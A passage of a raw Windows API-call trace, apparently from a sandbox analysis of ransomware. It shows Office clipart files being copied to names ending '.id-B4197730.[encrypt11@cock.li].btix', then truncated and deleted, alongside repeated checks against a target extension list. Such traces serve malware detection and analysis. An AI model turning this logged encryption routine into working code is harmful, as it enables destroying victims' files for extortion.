[0051.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.898] lstrlenW (lpString=".doc") returned 4 [0051.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString=".docx") returned 5 [0051.898] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.898] lstrlenW (lpString=".pdf") returned 4 [0051.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xls") returned 4 [0051.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xlsx") returned 5 [0051.898] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.898] lstrlenW (lpString=".ppt") returned 4 [0051.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.898] lstrlenW (lpString=".zip") returned 4 [0051.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".rar") returned 4 [0051.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".bz2") returned 4 [0051.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString=".7z") returned 3 [0051.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.898] lstrlenW (lpString=".dbf") returned 4 [0051.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.899] lstrlenW (lpString=".1cd") returned 4 [0051.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.899] lstrlenW (lpString=".jpg") returned 4 [0051.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.899] lstrlenW (lpString=".doc") returned 4 [0051.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString=".docx") returned 5 [0051.899] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.899] lstrlenW (lpString=".pdf") returned 4 [0051.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".xls") returned 4 [0051.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".xlsx") returned 5 [0051.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.899] lstrlenW (lpString=".ppt") returned 4 [0051.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.899] lstrlenW (lpString=".zip") returned 4 [0051.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".rar") returned 4 [0051.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".bz2") returned 4 [0051.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString=".7z") returned 3 [0051.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.900] lstrlenW (lpString=".dbf") returned 4 [0051.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.900] lstrlenW (lpString=".1cd") returned 4 [0051.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0051.900] lstrlenW (lpString=".jpg") returned 4 [0051.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.900] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0051.900] lstrlenW (lpString="AN00914_.WMF") returned 12 [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.901] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=10832) returned 1 [0051.901] CloseHandle (hObject=0x31c) returned 1 [0051.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0051.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.901] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.901] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.901] GetLastError () returned 0x0 [0051.901] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2a50, lpOverlapped=0x0) returned 1 [0052.018] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0052.019] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.019] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.019] SetEndOfFile (hFile=0x350) returned 1 [0052.019] CloseHandle (hObject=0x350) returned 1 [0052.020] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.020] SetEndOfFile (hFile=0x31c) returned 1 [0052.021] CloseHandle (hObject=0x31c) returned 1 [0052.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0052.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.021] lstrlenW (lpString=".doc") returned 4 [0052.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString=".docx") returned 5 [0052.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.022] lstrlenW (lpString=".pdf") returned 4 [0052.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString=".xls") returned 4 [0052.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.022] lstrlenW (lpString=".xlsx") returned 5 [0052.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.022] lstrlenW (lpString=".ppt") returned 4 [0052.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString=".zip") returned 4 [0052.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.022] lstrlenW (lpString=".rar") returned 4 [0052.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString=".bz2") returned 4 [0052.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString=".7z") returned 3 [0052.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString=".dbf") returned 4 [0052.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString=".1cd") returned 4 [0052.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString=".jpg") returned 4 [0052.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.022] lstrlenW (lpString=".doc") returned 4 [0052.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.022] lstrlenW (lpString=".docx") returned 5 [0052.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.023] lstrlenW (lpString=".pdf") returned 4 [0052.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString=".xls") returned 4 [0052.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.023] lstrlenW (lpString=".xlsx") returned 5 [0052.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.023] lstrlenW (lpString=".ppt") returned 4 [0052.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.023] lstrlenW (lpString=".zip") returned 4 [0052.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.023] lstrlenW (lpString=".rar") returned 4 [0052.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString=".bz2") returned 4 [0052.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString=".7z") returned 3 [0052.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.023] lstrlenW (lpString=".dbf") returned 4 [0052.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.023] lstrlenW (lpString=".1cd") returned 4 [0052.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0052.023] lstrlenW (lpString=".jpg") returned 4 [0052.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.024] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.024] lstrlenW (lpString="AN00965_.WMF") returned 12 [0052.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.024] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=7072) returned 1 [0052.024] CloseHandle (hObject=0x31c) returned 1 [0052.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0052.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.024] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.024] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.025] GetLastError () returned 0x0 [0052.025] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0052.093] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0052.094] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.094] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.094] SetEndOfFile (hFile=0x350) returned 1 [0052.094] CloseHandle (hObject=0x350) returned 1 [0052.094] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.095] SetEndOfFile (hFile=0x31c) returned 1 [0052.095] CloseHandle (hObject=0x31c) returned 1 [0052.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0052.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.096] lstrlenW (lpString=".doc") returned 4 [0052.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString=".docx") returned 5 [0052.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.096] lstrlenW (lpString=".pdf") returned 4 [0052.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString=".xls") returned 4 [0052.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.096] lstrlenW (lpString=".xlsx") returned 5 [0052.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.096] lstrlenW (lpString=".ppt") returned 4 [0052.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.096] lstrlenW (lpString=".zip") returned 4 [0052.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.096] lstrlenW (lpString=".rar") returned 4 [0052.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString=".bz2") returned 4 [0052.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString=".7z") returned 3 [0052.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.096] lstrlenW (lpString=".dbf") returned 4 [0052.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.096] lstrlenW (lpString=".1cd") returned 4 [0052.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".jpg") returned 4 [0052.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".doc") returned 4 [0052.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString=".docx") returned 5 [0052.097] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.097] lstrlenW (lpString=".pdf") returned 4 [0052.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString=".xls") returned 4 [0052.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.097] lstrlenW (lpString=".xlsx") returned 5 [0052.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.097] lstrlenW (lpString=".ppt") returned 4 [0052.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".zip") returned 4 [0052.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.097] lstrlenW (lpString=".rar") returned 4 [0052.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString=".bz2") returned 4 [0052.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString=".7z") returned 3 [0052.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".dbf") returned 4 [0052.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".1cd") returned 4 [0052.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0052.097] lstrlenW (lpString=".jpg") returned 4 [0052.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.098] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.098] lstrlenW (lpString="AN01174_.WMF") returned 12 [0052.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.098] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=27858) returned 1 [0052.098] CloseHandle (hObject=0x31c) returned 1 [0052.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0052.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.098] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.098] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0052.099] GetLastError () returned 0x0 [0052.099] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0052.167] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0052.168] ReadFile (in: hFile=0x31c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.168] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.168] SetEndOfFile (hFile=0x350) returned 1 [0052.169] CloseHandle (hObject=0x350) returned 1 [0052.169] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.169] SetEndOfFile (hFile=0x31c) returned 1 [0052.170] CloseHandle (hObject=0x31c) returned 1 [0052.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0052.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0052.171] 